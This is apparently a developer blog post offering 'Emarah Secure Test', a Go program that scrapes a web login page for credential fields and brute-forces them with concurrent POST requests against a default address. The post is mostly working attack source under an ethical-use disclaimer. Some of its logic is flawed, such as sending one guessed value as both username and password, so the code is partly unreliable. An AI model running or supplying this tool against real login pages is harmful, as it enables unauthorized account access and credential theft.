Emarah Secure Test is a penetration testing tool designed for ethical hacking, research, and educational purposes. This tool focuses on credential cracking using brute force techniques while ensuring a secure and controlled environment. It is specifically built to demonstrate vulnerabilities and improve understanding of security measures through real-world scenarios.
Key Features:
- Brute Force Attack Engine: Utilizes concurrent and sequential brute force attacks to crack credentials, detecting username and password fields on web pages and automating login attempts.
- Customizable Configuration: Easily configure the base URL, character set, password length, and concurrency level to suit different testing needs.
- Input Field Detection: Automatically detects input fields like username and password on target pages, ensuring accurate and efficient attack attempts.
- Concurrent and Sequential Attacks: Supports concurrent cracking for quick results or sequential cracking to target specific fields, enhancing the tool's versatility in various penetration testing scenarios.
- Process Management and State Tracking: Manages brute force state using thread-safe techniques, ensuring accurate tracking of attempts and preventing redundant processes.
- Security and Ethical Use: Designed strictly for ethical hacking and educational purposes, with strong emphasis on secure deployment and usage within legal boundaries.
Use Cases:
- Educational Demonstrations: Use this tool to demonstrate the impact of weak password policies and the importance of strong security measures.
- Research and Development: Ideal for researchers working on cybersecurity improvements and developing more secure authentication mechanisms.
- Ethical Hacking Training: Train cybersecurity professionals by providing real-world penetration testing scenarios in a controlled environment.
Disclaimer:
Emarah Secure Test is intended strictly for ethical hacking and educational purposes. Unauthorized use against systems you do not own or have explicit permission to test is illegal and against the principles of this tool.
Code:
package main
import (
"bytes"
"fmt"
"net/http"
"strings"
"sync"
"time"
"golang.org/x/net/html"
)
type Config struct {
BaseURL string
Charset string
MaxLength int
Concurrency int
}
type BruteForceState struct {
Found bool
Attempts int
Username string
Password string
Mutex sync.Mutex
}
func main() {
config := Config{
BaseURL: "http://192.168.0.1/login.html",
Charset: "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()",
MaxLength: 4,
Concurrency: 10,
}
state := BruteForceState{}
startTime := time.Now()
runBruteForce(config, &state)
duration := time.Since(startTime)
if state.Found {
fmt.Printf("Username: %s\nPassword: %s\nAttempts: %d\nTime taken: %v\n", state.Username, state.Password, state.Attempts, duration)
} else {
fmt.Println("Credentials not found within the given length constraints.")
}
}
func runBruteForce(config Config, state *BruteForceState) {
usernameField, passwordField, nextPage := detectFields(config.BaseURL)
if usernameField != "" && passwordField != "" {
fmt.Println("Attempting to crack username and password concurrently...")
performConcurrentAttack(config, state, usernameField, passwordField)
} else if usernameField != "" {
fmt.Println("Username found, attempting to crack username first...")
crackedUsername := performSequentialAttack(config, state, usernameField, "")
if crackedUsername != "" {
passwordField, _ = detectNextPageFields(nextPage)
if passwordField != "" {
fmt.Println("Username cracked. Now attempting to crack the password...")
performSequentialAttack(config, state, "", passwordField)
}
}
} else if passwordField != "" {
fmt.Println("Only password field detected, attempting to crack...")
performSequentialAttack(config, state, "", passwordField)
}
}
func detectFields(url string) (usernameField, passwordField, nextPage string) {
resp, err := http.Get(url)
if err != nil {
fmt.Println("Error fetching the page:", err)
return
}
defer resp.Body.Close()
doc := html.NewTokenizer(resp.Body)
for {
tokenType := doc.Next()
if tokenType == html.ErrorToken {
break
}
token := doc.Token()
if tokenType == html.StartTagToken && token.Data == "input" {
var inputType, id, name, placeholder string
for _, attr := range token.Attr {
switch attr.Key {
case "type":
inputType = attr.Val
case "id":
id = attr.Val
case "name":
name = attr.Val
case "placeholder":
placeholder = attr.Val
}
}
if inputType == "text" || strings.Contains(id, "user") || strings.Contains(name, "user") || strings.Contains(placeholder, "user") {
usernameField = id
} else if inputType == "password" || strings.Contains(id, "pass") || strings.Contains(name, "pass") || strings.Contains(placeholder, "pass") {
passwordField = id
}
}
if tokenType == html.StartTagToken && (token.Data == "a" || token.Data == "button") {
for _, attr := range token.Attr {
if attr.Key == "href" {
nextPage = attr.Val
}
}
}
}
return
}
func detectNextPageFields(url string) (passwordField, nextPage string) {
resp, err := http.Get(url)
if err != nil {
fmt.Println("Error fetching the next page:", err)
return
}
defer resp.Body.Close()
doc := html.NewTokenizer(resp.Body)
for {
tokenType := doc.Next()
if tokenType == html.ErrorToken {
break
}
token := doc.Token()
if tokenType == html.StartTagToken && token.Data == "input" {
var inputType, id, name, placeholder string
for _, attr := range token.Attr {
switch attr.Key {
case "type":
inputType = attr.Val
case "id":
id = attr.Val
case "name":
name = attr.Val
case "placeholder":
placeholder = attr.Val
}
}
if inputType == "password" || strings.Contains(id, "pass") || strings.Contains(name, "pass") || strings.Contains(placeholder, "pass") {
passwordField = id
}
}
}
return
}
func performConcurrentAttack(config Config, state *BruteForceState, usernameField, passwordField string) {
var wg sync.WaitGroup
passwords := make(chan string, config.Concurrency)
for i := 0; i < config.Concurrency; i++ {
wg.Add(1)
go worker(config, state, passwords, usernameField, passwordField, &wg)
}
generatePasswords(config, passwords)
close(passwords)
wg.Wait()
}
func performSequentialAttack(config Config, state *BruteForceState, usernameField, passwordField string) string {
passwords := make(chan string, config.Concurrency)
var wg sync.WaitGroup
for i := 0; i < config.Concurrency; i++ {
wg.Add(1)
go worker(config, state, passwords, usernameField, passwordField, &wg)
}
generatePasswords(config, passwords)
close(passwords)
wg.Wait()
if usernameField != "" {
return state.Username
} else if passwordField != "" {
return state.Password
}
return ""
}
func worker(config Config, state *BruteForceState, passwords <-chan string, usernameField, passwordField string, wg *sync.WaitGroup) {
defer wg.Done()
for password := range passwords {
if state.Found {
return
}
success, foundUsername := attemptLogin(config, usernameField, passwordField, password)
state.Mutex.Lock()
state.Attempts++
if success {
state.Found = true
if foundUsername {
state.Username = password
} else {
state.Password = password
}
}
state.Mutex.Unlock()
}
}
func attemptLogin(config Config, usernameField, passwordField, value string) (bool, bool) {
var data string
if usernameField != "" {
data = fmt.Sprintf("%s=%s", usernameField, value)
} else if passwordField != "" {
data = fmt.Sprintf("%s=%s&%s=%s", usernameField, value, passwordField, value)
}
req, err := http.NewRequest("POST", config.BaseURL, bytes.NewBufferString(data))
if err != nil {
return false, false
}
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
return false, false
}
defer resp.Body.Close()
if resp.StatusCode == http.StatusOK {
buf := new(bytes.Buffer)
buf.ReadFrom(resp.Body)
if strings.Contains(buf.String(), "Welcome") {
return true, usernameField != ""
}
}
return false, false
}
func generatePasswords(config Config, passwords chan<- string) {
for length := 1; length <= config.MaxLength; length++ {
generateCombination("", length, config.Charset, passwords)
}
}
func generateCombination(prefix string, maxLength int, charset string, passwords chan<- string) {
if len(prefix) == maxLength {
passwords <- prefix
return
}
for _, c := range charset {
generateCombination(prefix+string(c), maxLength, charset, passwords)
}
}
Install this also:
go get golang.org/x/net
Top comments (0)